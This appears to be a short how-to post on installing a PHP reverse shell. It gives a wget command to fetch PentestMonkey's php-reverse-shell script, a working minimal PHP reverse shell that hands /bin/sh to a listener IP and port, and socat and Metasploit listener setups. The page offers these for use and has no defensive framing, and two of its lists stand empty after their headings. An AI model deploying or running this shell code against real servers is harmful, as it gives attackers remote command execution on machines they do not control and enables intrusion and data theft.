Reverse Shell Php Install May 2026

There are several methods to install a reverse shell in PHP, including:

Look for:

The most common and reliable one is from PentestMonkey.

Download it:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Or create your own minimal version:

<?php
$ip = 'YOUR_IP';      // Your listener IP
$port = 4444;         // Your listener port
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

For more stability, use socat:

socat TCP-LISTEN:4444,reuseaddr,fork -

Or use Metasploit’s multi-handler later.

Pro Tip: Keep your listener running in a tmux or screen session so it survives network drops.